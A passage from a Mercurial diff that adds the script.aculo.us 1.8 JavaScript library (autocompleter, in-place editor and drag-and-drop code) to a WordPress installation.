!= tp && tp < nextTokenPos) nextTokenPos = tp; + } + return (this.tokenBounds = [prevTokenPos + 1, nextTokenPos]); + } +}); + +Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos = function(newS, oldS) { + var boundary = Math.min(newS.length, oldS.length); + for (var index = 0; index < boundary; ++index) + if (newS[index] != oldS[index]) + return index; + return boundary; +}; + +Ajax.Autocompleter = Class.create(Autocompleter.Base, { + initialize: function(element, update, url, options) { + this.baseInitialize(element, update, options); + this.options.asynchronous = true; + this.options.onComplete = this.onComplete.bind(this); + this.options.defaultParams = this.options.parameters || null; + this.url = url; + }, + + getUpdatedChoices: function() { + this.startIndicator(); + + var entry = encodeURIComponent(this.options.paramName) + '=' + + encodeURIComponent(this.getToken()); + + this.options.parameters = this.options.callback ? + this.options.callback(this.element, entry) : entry; + + if(this.options.defaultParams) + this.options.parameters += '&' + this.options.defaultParams; + + new Ajax.Request(this.url, this.options); + }, + + onComplete: function(request) { + this.updateChoices(request.responseText); + } +}); + +// The local array autocompleter. Used when you'd prefer to +// inject an array of autocompletion options into the page, rather +// than sending out Ajax queries, which can be quite slow sometimes. +// +// The constructor takes four parameters. The first two are, as usual, +// the id of the monitored textbox, and id of the autocompletion menu. +// The third is the array you want to autocomplete from, and the fourth +// is the options block. +// +// Extra local autocompletion options: +// - choices - How many autocompletion choices to offer +// +// - partialSearch - If false, the autocompleter will match entered +// text only at the beginning of strings in the +// autocomplete array. Defaults to true, which will +// match text at the beginning of any *word* in the +// strings in the autocomplete array. If you want to +// search anywhere in the string, additionally set +// the option fullSearch to true (default: off). +// +// - fullSsearch - Search anywhere in autocomplete array strings. +// +// - partialChars - How many characters to enter before triggering +// a partial match (unlike minChars, which defines +// how many characters are required to do any match +// at all). Defaults to 2. +// +// - ignoreCase - Whether to ignore case when autocompleting. +// Defaults to true. +// +// It's possible to pass in a custom function as the 'selector' +// option, if you prefer to write your own autocompletion logic. +// In that case, the other options above will not apply unless +// you support them. + +Autocompleter.Local = Class.create(Autocompleter.Base, { + initialize: function(element, update, array, options) { + this.baseInitialize(element, update, options); + this.options.array = array; + }, + + getUpdatedChoices: function() { + this.updateChoices(this.options.selector(this)); + }, + + setOptions: function(options) { + this.options = Object.extend({ + choices: 10, + partialSearch: true, + partialChars: 2, + ignoreCase: true, + fullSearch: false, + selector: function(instance) { + var ret = []; // Beginning matches + var partial = []; // Inside matches + var entry = instance.getToken(); + var count = 0; + + for (var i = 0; i < instance.options.array.length && + ret.length < instance.options.choices ; i++) { + + var elem = instance.options.array[i]; + var foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase()) : + elem.indexOf(entry); + + while (foundPos != -1) { + if (foundPos == 0 && elem.length != entry.length) { + ret.push("
  • " + elem.substr(0, entry.length) + "" + + elem.substr(entry.length) + "
  • "); + break; + } else if (entry.length >= instance.options.partialChars && + instance.options.partialSearch && foundPos != -1) { + if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) { + partial.push("
  • " + elem.substr(0, foundPos) + "" + + elem.substr(foundPos, entry.length) + "" + elem.substr( + foundPos + entry.length) + "
  • "); + break; + } + } + + foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : + elem.indexOf(entry, foundPos + 1); + + } + } + if (partial.length) + ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) + return "
      " + ret.join('') + "
    "; + } + }, options || { }); + } +}); + +// AJAX in-place editor and collection editor +// Full rewrite by Christophe Porteneuve (April 2007). + +// Use this if you notice weird scrolling problems on some browsers, +// the DOM might be a bit confused when this gets called so do this +// waits 1 ms (with setTimeout) until it does the activation +Field.scrollFreeActivate = function(field) { + setTimeout(function() { + Field.activate(field); + }, 1); +} + +Ajax.InPlaceEditor = Class.create({ + initialize: function(element, url, options) { + this.url = url; + this.element = element = $(element); + this.prepareOptions(); + this._controls = { }; + arguments.callee.dealWithDeprecatedOptions(options); // DEPRECATION LAYER!!! + Object.extend(this.options, options || { }); + if (!this.options.formId && this.element.id) { + this.options.formId = this.element.id + '-inplaceeditor'; + if ($(this.options.formId)) + this.options.formId = ''; + } + if (this.options.externalControl) + this.options.externalControl = $(this.options.externalControl); + if (!this.options.externalControl) + this.options.externalControlOnly = false; + this._originalBackground = this.element.getStyle('background-color') || 'transparent'; + this.element.title = this.options.clickToEditText; + this._boundCancelHandler = this.handleFormCancellation.bind(this); + this._boundComplete = (this.options.onComplete || Prototype.emptyFunction).bind(this); + this._boundFailureHandler = this.handleAJAXFailure.bind(this); + this._boundSubmitHandler = this.handleFormSubmission.bind(this); + this._boundWrapperHandler = this.wrapUp.bind(this); + this.registerListeners(); + }, + checkForEscapeOrReturn: function(e) { + if (!this._editing || e.ctrlKey || e.altKey || e.shiftKey) return; + if (Event.KEY_ESC == e.keyCode) + this.handleFormCancellation(e); + else if (Event.KEY_RETURN == e.keyCode) + this.handleFormSubmission(e); + }, + createControl: function(mode, handler, extraClasses) { + var control = this.options[mode + 'Control']; + var text = this.options[mode + 'Text']; + if ('button' == control) { + var btn = document.createElement('input'); + btn.type = 'submit'; + btn.value = text; + btn.className = 'editor_' + mode + '_button'; + if ('cancel' == mode) + btn.onclick = this._boundCancelHandler; + this._form.appendChild(btn); + this._controls[mode] = btn; + } else if ('link' == control) { + var link = document.createElement('a'); + link.href = '#'; + link.appendChild(document.createTextNode(text)); + link.onclick = 'cancel' == mode ? this._boundCancelHandler : this._boundSubmitHandler; + link.className = 'editor_' + mode + '_link'; + if (extraClasses) + link.className += ' ' + extraClasses; + this._form.appendChild(link); + this._controls[mode] = link; + } + }, + createEditField: function() { + var text = (this.options.loadTextURL ? this.options.loadingText : this.getText()); + var fld; + if (1 >= this.options.rows && !/\r|\n/.test(this.getText())) { + fld = document.createElement('input'); + fld.type = 'text'; + var size = this.options.size || this.options.cols || 0; + if (0 < size) fld.size = size; + } else { + fld = document.createElement('textarea'); + fld.rows = (1 >= this.options.rows ? this.options.autoRows : this.options.rows); + fld.cols = this.options.cols || 40; + } + fld.name = this.options.paramName; + fld.value = text; // No HTML breaks conversion anymore + fld.className = 'editor_field'; + if (this.options.submitOnBlur) + fld.onblur = this._boundSubmitHandler; + this._controls.editor = fld; + if (this.options.loadTextURL) + this.loadExternalText(); + this._form.appendChild(this._controls.editor); + }, + createForm: function() { + var ipe = this; + function addText(mode, condition) { + var text = ipe.options['text' + mode + 'Controls']; + if (!text || condition === false) return; + ipe._form.appendChild(document.createTextNode(text)); + }; + this._form = $(document.createElement('form')); + this._form.id = this.options.formId; + this._form.addClassName(this.options.formClassName); + this._form.onsubmit = this._boundSubmitHandler; + this.createEditField(); + if ('textarea' == this._controls.editor.tagName.toLowerCase()) + this._form.appendChild(document.createElement('br')); + if (this.options.onFormCustomization) + this.options.onFormCustomization(this, this._form); + addText('Before', this.options.okControl || this.options.cancelControl); + this.createControl('ok', this._boundSubmitHandler); + addText('Between', this.options.okControl && this.options.cancelControl); + this.createControl('cancel', this._boundCancelHandler, 'editor_cancel'); + addText('After', this.options.okControl || this.options.cancelControl); + }, + destroy: function() { + if (this._oldInnerHTML) + this.element.innerHTML = this._oldInnerHTML; + this.leaveEditMode(); + this.unregisterListeners(); + }, + enterEditMode: function(e) { + if (this._saving || this._editing) return; + this._editing = true; + this.triggerCallback('onEnterEditMode'); + if (this.options.externalControl) + this.options.externalControl.hide(); + this.element.hide(); + this.createForm(); + this.element.parentNode.insertBefore(this._form, this.element); + if (!this.options.loadTextURL) + this.postProcessEditField(); + if (e) Event.stop(e); + }, + enterHover: function(e) { + if (this.options.hoverClassName) + this.element.addClassName(this.options.hoverClassName); + if (this._saving) return; + this.triggerCallback('onEnterHover'); + }, + getText: function() { + return this.element.innerHTML; + }, + handleAJAXFailure: function(transport) { + this.triggerCallback('onFailure', transport); + if (this._oldInnerHTML) { + this.element.innerHTML = this._oldInnerHTML; + this._oldInnerHTML = null; + } + }, + handleFormCancellation: function(e) { + this.wrapUp(); + if (e) Event.stop(e); + }, + handleFormSubmission: function(e) { + var form = this._form; + var value = $F(this._controls.editor); + this.prepareSubmission(); + var params = this.options.callback(form, value) || ''; + if (Object.isString(params)) + params = params.toQueryParams(); + params.editorId = this.element.id; + if (this.options.htmlResponse) { + var options = Object.extend({ evalScripts: true }, this.options.ajaxOptions); + Object.extend(options, { + parameters: params, + onComplete: this._boundWrapperHandler, + onFailure: this._boundFailureHandler + }); + new Ajax.Updater({ success: this.element }, this.url, options); + } else { + var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); + Object.extend(options, { + parameters: params, + onComplete: this._boundWrapperHandler, + onFailure: this._boundFailureHandler + }); + new Ajax.Request(this.url, options); + } + if (e) Event.stop(e); + }, + leaveEditMode: function() { + this.element.removeClassName(this.options.savingClassName); + this.removeForm(); + this.leaveHover(); + this.element.style.backgroundColor = this._originalBackground; + this.element.show(); + if (this.options.externalControl) + this.options.externalControl.show(); + this._saving = false; + this._editing = false; + this._oldInnerHTML = null; + this.triggerCallback('onLeaveEditMode'); + }, + leaveHover: function(e) { + if (this.options.hoverClassName) + this.element.removeClassName(this.options.hoverClassName); + if (this._saving) return; + this.triggerCallback('onLeaveHover'); + }, + loadExternalText: function() { + this._form.addClassName(this.options.loadingClassName); + this._controls.editor.disabled = true; + var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); + Object.extend(options, { + parameters: 'editorId=' + encodeURIComponent(this.element.id), + onComplete: Prototype.emptyFunction, + onSuccess: function(transport) { + this._form.removeClassName(this.options.loadingClassName); + var text = transport.responseText; + if (this.options.stripLoadedTextTags) + text = text.stripTags(); + this._controls.editor.value = text; + this._controls.editor.disabled = false; + this.postProcessEditField(); + }.bind(this), + onFailure: this._boundFailureHandler + }); + new Ajax.Request(this.options.loadTextURL, options); + }, + postProcessEditField: function() { + var fpc = this.options.fieldPostCreation; + if (fpc) + $(this._controls.editor)['focus' == fpc ? 'focus' : 'activate'](); + }, + prepareOptions: function() { + this.options = Object.clone(Ajax.InPlaceEditor.DefaultOptions); + Object.extend(this.options, Ajax.InPlaceEditor.DefaultCallbacks); + [this._extraDefaultOptions].flatten().compact().each(function(defs) { + Object.extend(this.options, defs); + }.bind(this)); + }, + prepareSubmission: function() { + this._saving = true; + this.removeForm(); + this.leaveHover(); + this.showSaving(); + }, + registerListeners: function() { + this._listeners = { }; + var listener; + $H(Ajax.InPlaceEditor.Listeners).each(function(pair) { + listener = this[pair.value].bind(this); + this._listeners[pair.key] = listener; + if (!this.options.externalControlOnly) + this.element.observe(pair.key, listener); + if (this.options.externalControl) + this.options.externalControl.observe(pair.key, listener); + }.bind(this)); + }, + removeForm: function() { + if (!this._form) return; + this._form.remove(); + this._form = null; + this._controls = { }; + }, + showSaving: function() { + this._oldInnerHTML = this.element.innerHTML; + this.element.innerHTML = this.options.savingText; + this.element.addClassName(this.options.savingClassName); + this.element.style.backgroundColor = this._originalBackground; + this.element.show(); + }, + triggerCallback: function(cbName, arg) { + if ('function' == typeof this.options[cbName]) { + this.options[cbName](this, arg); + } + }, + unregisterListeners: function() { + $H(this._listeners).each(function(pair) { + if (!this.options.externalControlOnly) + this.element.stopObserving(pair.key, pair.value); + if (this.options.externalControl) + this.options.externalControl.stopObserving(pair.key, pair.value); + }.bind(this)); + }, + wrapUp: function(transport) { + this.leaveEditMode(); + // Can't use triggerCallback due to backward compatibility: requires + // binding + direct element + this._boundComplete(transport, this.element); + } +}); + +Object.extend(Ajax.InPlaceEditor.prototype, { + dispose: Ajax.InPlaceEditor.prototype.destroy +}); + +Ajax.InPlaceCollectionEditor = Class.create(Ajax.InPlaceEditor, { + initialize: function($super, element, url, options) { + this._extraDefaultOptions = Ajax.InPlaceCollectionEditor.DefaultOptions; + $super(element, url, options); + }, + + createEditField: function() { + var list = document.createElement('select'); + list.name = this.options.paramName; + list.size = 1; + this._controls.editor = list; + this._collection = this.options.collection || []; + if (this.options.loadCollectionURL) + this.loadCollection(); + else + this.checkForExternalText(); + this._form.appendChild(this._controls.editor); + }, + + loadCollection: function() { + this._form.addClassName(this.options.loadingClassName); + this.showLoadingText(this.options.loadingCollectionText); + var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); + Object.extend(options, { + parameters: 'editorId=' + encodeURIComponent(this.element.id), + onComplete: Prototype.emptyFunction, + onSuccess: function(transport) { + var js = transport.responseText.strip(); + if (!/^\[.*\]$/.test(js)) // TODO: improve sanity check + throw 'Server returned an invalid collection representation.'; + this._collection = eval(js); + this.checkForExternalText(); + }.bind(this), + onFailure: this.onFailure + }); + new Ajax.Request(this.options.loadCollectionURL, options); + }, + + showLoadingText: function(text) { + this._controls.editor.disabled = true; + var tempOption = this._controls.editor.firstChild; + if (!tempOption) { + tempOption = document.createElement('option'); + tempOption.value = ''; + this._controls.editor.appendChild(tempOption); + tempOption.selected = true; + } + tempOption.update((text || '').stripScripts().stripTags()); + }, + + checkForExternalText: function() { + this._text = this.getText(); + if (this.options.loadTextURL) + this.loadExternalText(); + else + this.buildOptionList(); + }, + + loadExternalText: function() { + this.showLoadingText(this.options.loadingText); + var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); + Object.extend(options, { + parameters: 'editorId=' + encodeURIComponent(this.element.id), + onComplete: Prototype.emptyFunction, + onSuccess: function(transport) { + this._text = transport.responseText.strip(); + this.buildOptionList(); + }.bind(this), + onFailure: this.onFailure + }); + new Ajax.Request(this.options.loadTextURL, options); + }, + + buildOptionList: function() { + this._form.removeClassName(this.options.loadingClassName); + this._collection = this._collection.map(function(entry) { + return 2 === entry.length ? entry : [entry, entry].flatten(); + }); + var marker = ('value' in this.options) ? this.options.value : this._text; + var textFound = this._collection.any(function(entry) { + return entry[0] == marker; + }.bind(this)); + this._controls.editor.update(''); + var option; + this._collection.each(function(entry, index) { + option = document.createElement('option'); + option.value = entry[0]; + option.selected = textFound ? entry[0] == marker : 0 == index; + option.appendChild(document.createTextNode(entry[1])); + this._controls.editor.appendChild(option); + }.bind(this)); + this._controls.editor.disabled = false; + Field.scrollFreeActivate(this._controls.editor); + } +}); + +//**** DEPRECATION LAYER FOR InPlace[Collection]Editor! **** +//**** This only exists for a while, in order to let **** +//**** users adapt to the new API. Read up on the new **** +//**** API and convert your code to it ASAP! **** + +Ajax.InPlaceEditor.prototype.initialize.dealWithDeprecatedOptions = function(options) { + if (!options) return; + function fallback(name, expr) { + if (name in options || expr === undefined) return; + options[name] = expr; + }; + fallback('cancelControl', (options.cancelLink ? 'link' : (options.cancelButton ? 'button' : + options.cancelLink == options.cancelButton == false ? false : undefined))); + fallback('okControl', (options.okLink ? 'link' : (options.okButton ? 'button' : + options.okLink == options.okButton == false ? false : undefined))); + fallback('highlightColor', options.highlightcolor); + fallback('highlightEndColor', options.highlightendcolor); +}; + +Object.extend(Ajax.InPlaceEditor, { + DefaultOptions: { + ajaxOptions: { }, + autoRows: 3, // Use when multi-line w/ rows == 1 + cancelControl: 'link', // 'link'|'button'|false + cancelText: 'cancel', + clickToEditText: 'Click to edit', + externalControl: null, // id|elt + externalControlOnly: false, + fieldPostCreation: 'activate', // 'activate'|'focus'|false + formClassName: 'inplaceeditor-form', + formId: null, // id|elt + highlightColor: '#ffff99', + highlightEndColor: '#ffffff', + hoverClassName: '', + htmlResponse: true, + loadingClassName: 'inplaceeditor-loading', + loadingText: 'Loading...', + okControl: 'button', // 'link'|'button'|false + okText: 'ok', + paramName: 'value', + rows: 1, // If 1 and multi-line, uses autoRows + savingClassName: 'inplaceeditor-saving', + savingText: 'Saving...', + size: 0, + stripLoadedTextTags: false, + submitOnBlur: false, + textAfterControls: '', + textBeforeControls: '', + textBetweenControls: '' + }, + DefaultCallbacks: { + callback: function(form) { + return Form.serialize(form); + }, + onComplete: function(transport, element) { + // For backward compatibility, this one is bound to the IPE, and passes + // the element directly. It was too often customized, so we don't break it. + new Effect.Highlight(element, { + startcolor: this.options.highlightColor, keepBackgroundImage: true }); + }, + onEnterEditMode: null, + onEnterHover: function(ipe) { + ipe.element.style.backgroundColor = ipe.options.highlightColor; + if (ipe._effect) + ipe._effect.cancel(); + }, + onFailure: function(transport, ipe) { + alert('Error communication with the server: ' + transport.responseText.stripTags()); + }, + onFormCustomization: null, // Takes the IPE and its generated form, after editor, before controls. + onLeaveEditMode: null, + onLeaveHover: function(ipe) { + ipe._effect = new Effect.Highlight(ipe.element, { + startcolor: ipe.options.highlightColor, endcolor: ipe.options.highlightEndColor, + restorecolor: ipe._originalBackground, keepBackgroundImage: true + }); + } + }, + Listeners: { + click: 'enterEditMode', + keydown: 'checkForEscapeOrReturn', + mouseover: 'enterHover', + mouseout: 'leaveHover' + } +}); + +Ajax.InPlaceCollectionEditor.DefaultOptions = { + loadingCollectionText: 'Loading options...' +}; + +// Delayed observer, like Form.Element.Observer, +// but waits for delay after last key input +// Ideal for live-search fields + +Form.Element.DelayedObserver = Class.create({ + initialize: function(element, delay, callback) { + this.delay = delay || 0.5; + this.element = $(element); + this.callback = callback; + this.timer = null; + this.lastValue = $F(this.element); + Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this)); + }, + delayedListener: function(event) { + if(this.lastValue == $F(this.element)) return; + if(this.timer) clearTimeout(this.timer); + this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000); + this.lastValue = $F(this.element); + }, + onTimerEvent: function() { + this.timer = null; + this.callback(this.element, $F(this.element)); + } +}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/scriptaculous/dragdrop.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/scriptaculous/dragdrop.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,974 @@ +// script.aculo.us dragdrop.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005-2007 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz) +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +if(Object.isUndefined(Effect)) + throw("dragdrop.js requires including script.aculo.us' effects.js library"); + +var Droppables = { + drops: [], + + remove: function(element) { + this.drops = this.drops.reject(function(d) { return d.element==$(element) }); + }, + + add: function(element) { + element = $(element); + var options = Object.extend({ + greedy: true, + hoverclass: null, + tree: false + }, arguments[1] || { }); + + // cache containers + if(options.containment) { + options._containers = []; + var containment = options.containment; + if(Object.isArray(containment)) { + containment.each( function(c) { options._containers.push($(c)) }); + } else { + options._containers.push($(containment)); + } + } + + if(options.accept) options.accept = [options.accept].flatten(); + + Element.makePositioned(element); // fix IE + options.element = element; + + this.drops.push(options); + }, + + findDeepestChild: function(drops) { + deepest = drops[0]; + + for (i = 1; i < drops.length; ++i) + if (Element.isParent(drops[i].element, deepest.element)) + deepest = drops[i]; + + return deepest; + }, + + isContained: function(element, drop) { + var containmentNode; + if(drop.tree) { + containmentNode = element.treeNode; + } else { + containmentNode = element.parentNode; + } + return drop._containers.detect(function(c) { return containmentNode == c }); + }, + + isAffected: function(point, element, drop) { + return ( + (drop.element!=element) && + ((!drop._containers) || + this.isContained(element, drop)) && + ((!drop.accept) || + (Element.classNames(element).detect( + function(v) { return drop.accept.include(v) } ) )) && + Position.within(drop.element, point[0], point[1]) ); + }, + + deactivate: function(drop) { + if(drop.hoverclass) + Element.removeClassName(drop.element, drop.hoverclass); + this.last_active = null; + }, + + activate: function(drop) { + if(drop.hoverclass) + Element.addClassName(drop.element, drop.hoverclass); + this.last_active = drop; + }, + + show: function(point, element) { + if(!this.drops.length) return; + var drop, affected = []; + + this.drops.each( function(drop) { + if(Droppables.isAffected(point, element, drop)) + affected.push(drop); + }); + + if(affected.length>0) + drop = Droppables.findDeepestChild(affected); + + if(this.last_active && this.last_active != drop) this.deactivate(this.last_active); + if (drop) { + Position.within(drop.element, point[0], point[1]); + if(drop.onHover) + drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element)); + + if (drop != this.last_active) Droppables.activate(drop); + } + }, + + fire: function(event, element) { + if(!this.last_active) return; + Position.prepare(); + + if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active)) + if (this.last_active.onDrop) { + this.last_active.onDrop(element, this.last_active.element, event); + return true; + } + }, + + reset: function() { + if(this.last_active) + this.deactivate(this.last_active); + } +} + +var Draggables = { + drags: [], + observers: [], + + register: function(draggable) { + if(this.drags.length == 0) { + this.eventMouseUp = this.endDrag.bindAsEventListener(this); + this.eventMouseMove = this.updateDrag.bindAsEventListener(this); + this.eventKeypress = this.keyPress.bindAsEventListener(this); + + Event.observe(document, "mouseup", this.eventMouseUp); + Event.observe(document, "mousemove", this.eventMouseMove); + Event.observe(document, "keypress", this.eventKeypress); + } + this.drags.push(draggable); + }, + + unregister: function(draggable) { + this.drags = this.drags.reject(function(d) { return d==draggable }); + if(this.drags.length == 0) { + Event.stopObserving(document, "mouseup", this.eventMouseUp); + Event.stopObserving(document, "mousemove", this.eventMouseMove); + Event.stopObserving(document, "keypress", this.eventKeypress); + } + }, + + activate: function(draggable) { + if(draggable.options.delay) { + this._timeout = setTimeout(function() { + Draggables._timeout = null; + window.focus(); + Draggables.activeDraggable = draggable; + }.bind(this), draggable.options.delay); + } else { + window.focus(); // allows keypress events if window isn't currently focused, fails for Safari + this.activeDraggable = draggable; + } + }, + + deactivate: function() { + this.activeDraggable = null; + }, + + updateDrag: function(event) { + if(!this.activeDraggable) return; + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + // Mozilla-based browsers fire successive mousemove events with + // the same coordinates, prevent needless redrawing (moz bug?) + if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return; + this._lastPointer = pointer; + + this.activeDraggable.updateDrag(event, pointer); + }, + + endDrag: function(event) { + if(this._timeout) { + clearTimeout(this._timeout); + this._timeout = null; + } + if(!this.activeDraggable) return; + this._lastPointer = null; + this.activeDraggable.endDrag(event); + this.activeDraggable = null; + }, + + keyPress: function(event) { + if(this.activeDraggable) + this.activeDraggable.keyPress(event); + }, + + addObserver: function(observer) { + this.observers.push(observer); + this._cacheObserverCallbacks(); + }, + + removeObserver: function(element) { // element instead of observer fixes mem leaks + this.observers = this.observers.reject( function(o) { return o.element==element }); + this._cacheObserverCallbacks(); + }, + + notify: function(eventName, draggable, event) { // 'onStart', 'onEnd', 'onDrag' + if(this[eventName+'Count'] > 0) + this.observers.each( function(o) { + if(o[eventName]) o[eventName](eventName, draggable, event); + }); + if(draggable.options[eventName]) draggable.options[eventName](draggable, event); + }, + + _cacheObserverCallbacks: function() { + ['onStart','onEnd','onDrag'].each( function(eventName) { + Draggables[eventName+'Count'] = Draggables.observers.select( + function(o) { return o[eventName]; } + ).length; + }); + } +} + +/*--------------------------------------------------------------------------*/ + +var Draggable = Class.create({ + initialize: function(element) { + var defaults = { + handle: false, + reverteffect: function(element, top_offset, left_offset) { + var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02; + new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur, + queue: {scope:'_draggable', position:'end'} + }); + }, + endeffect: function(element) { + var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1.0; + new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity, + queue: {scope:'_draggable', position:'end'}, + afterFinish: function(){ + Draggable._dragging[element] = false + } + }); + }, + zindex: 1000, + revert: false, + quiet: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + snap: false, // false, or xy or [x,y] or function(x,y){ return [x,y] } + delay: 0 + }; + + if(!arguments[1] || Object.isUndefined(arguments[1].endeffect)) + Object.extend(defaults, { + starteffect: function(element) { + element._opacity = Element.getOpacity(element); + Draggable._dragging[element] = true; + new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7}); + } + }); + + var options = Object.extend(defaults, arguments[1] || { }); + + this.element = $(element); + + if(options.handle && Object.isString(options.handle)) + this.handle = this.element.down('.'+options.handle, 0); + + if(!this.handle) this.handle = $(options.handle); + if(!this.handle) this.handle = this.element; + + if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) { + options.scroll = $(options.scroll); + this._isScrollChild = Element.childOf(this.element, options.scroll); + } + + Element.makePositioned(this.element); // fix IE + + this.options = options; + this.dragging = false; + + this.eventMouseDown = this.initDrag.bindAsEventListener(this); + Event.observe(this.handle, "mousedown", this.eventMouseDown); + + Draggables.register(this); + }, + + destroy: function() { + Event.stopObserving(this.handle, "mousedown", this.eventMouseDown); + Draggables.unregister(this); + }, + + currentDelta: function() { + return([ + parseInt(Element.getStyle(this.element,'left') || '0'), + parseInt(Element.getStyle(this.element,'top') || '0')]); + }, + + initDrag: function(event) { + if(!Object.isUndefined(Draggable._dragging[this.element]) && + Draggable._dragging[this.element]) return; + if(Event.isLeftClick(event)) { + // abort on form elements, fixes a Firefox issue + var src = Event.element(event); + if((tag_name = src.tagName.toUpperCase()) && ( + tag_name=='INPUT' || + tag_name=='SELECT' || + tag_name=='OPTION' || + tag_name=='BUTTON' || + tag_name=='TEXTAREA')) return; + + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var pos = Position.cumulativeOffset(this.element); + this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) }); + + Draggables.activate(this); + Event.stop(event); + } + }, + + startDrag: function(event) { + this.dragging = true; + if(!this.delta) + this.delta = this.currentDelta(); + + if(this.options.zindex) { + this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0); + this.element.style.zIndex = this.options.zindex; + } + + if(this.options.ghosting) { + this._clone = this.element.cloneNode(true); + this.element._originallyAbsolute = (this.element.getStyle('position') == 'absolute'); + if (!this.element._originallyAbsolute) + Position.absolutize(this.element); + this.element.parentNode.insertBefore(this._clone, this.element); + } + + if(this.options.scroll) { + if (this.options.scroll == window) { + var where = this._getWindowScroll(this.options.scroll); + this.originalScrollLeft = where.left; + this.originalScrollTop = where.top; + } else { + this.originalScrollLeft = this.options.scroll.scrollLeft; + this.originalScrollTop = this.options.scroll.scrollTop; + } + } + + Draggables.notify('onStart', this, event); + + if(this.options.starteffect) this.options.starteffect(this.element); + }, + + updateDrag: function(event, pointer) { + if(!this.dragging) this.startDrag(event); + + if(!this.options.quiet){ + Position.prepare(); + Droppables.show(pointer, this.element); + } + + Draggables.notify('onDrag', this, event); + + this.draw(pointer); + if(this.options.change) this.options.change(this); + + if(this.options.scroll) { + this.stopScrolling(); + + var p; + if (this.options.scroll == window) { + with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; } + } else { + p = Position.page(this.options.scroll); + p[0] += this.options.scroll.scrollLeft + Position.deltaX; + p[1] += this.options.scroll.scrollTop + Position.deltaY; + p.push(p[0]+this.options.scroll.offsetWidth); + p.push(p[1]+this.options.scroll.offsetHeight); + } + var speed = [0,0]; + if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity); + if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity); + if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity); + if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity); + this.startScrolling(speed); + } + + // fix AppleWebKit rendering + if(Prototype.Browser.WebKit) window.scrollBy(0,0); + + Event.stop(event); + }, + + finishDrag: function(event, success) { + this.dragging = false; + + if(this.options.quiet){ + Position.prepare(); + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + Droppables.show(pointer, this.element); + } + + if(this.options.ghosting) { + if (!this.element._originallyAbsolute) + Position.relativize(this.element); + delete this.element._originallyAbsolute; + Element.remove(this._clone); + this._clone = null; + } + + var dropped = false; + if(success) { + dropped = Droppables.fire(event, this.element); + if (!dropped) dropped = false; + } + if(dropped && this.options.onDropped) this.options.onDropped(this.element); + Draggables.notify('onEnd', this, event); + + var revert = this.options.revert; + if(revert && Object.isFunction(revert)) revert = revert(this.element); + + var d = this.currentDelta(); + if(revert && this.options.reverteffect) { + if (dropped == 0 || revert != 'failure') + this.options.reverteffect(this.element, + d[1]-this.delta[1], d[0]-this.delta[0]); + } else { + this.delta = d; + } + + if(this.options.zindex) + this.element.style.zIndex = this.originalZ; + + if(this.options.endeffect) + this.options.endeffect(this.element); + + Draggables.deactivate(this); + Droppables.reset(); + }, + + keyPress: function(event) { + if(event.keyCode!=Event.KEY_ESC) return; + this.finishDrag(event, false); + Event.stop(event); + }, + + endDrag: function(event) { + if(!this.dragging) return; + this.stopScrolling(); + this.finishDrag(event, true); + Event.stop(event); + }, + + draw: function(point) { + var pos = Position.cumulativeOffset(this.element); + if(this.options.ghosting) { + var r = Position.realOffset(this.element); + pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY; + } + + var d = this.currentDelta(); + pos[0] -= d[0]; pos[1] -= d[1]; + + if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) { + pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft; + pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop; + } + + var p = [0,1].map(function(i){ + return (point[i]-pos[i]-this.offset[i]) + }.bind(this)); + + if(this.options.snap) { + if(Object.isFunction(this.options.snap)) { + p = this.options.snap(p[0],p[1],this); + } else { + if(Object.isArray(this.options.snap)) { + p = p.map( function(v, i) { + return (v/this.options.snap[i]).round()*this.options.snap[i] }.bind(this)) + } else { + p = p.map( function(v) { + return (v/this.options.snap).round()*this.options.snap }.bind(this)) + } + }} + + var style = this.element.style; + if((!this.options.constraint) || 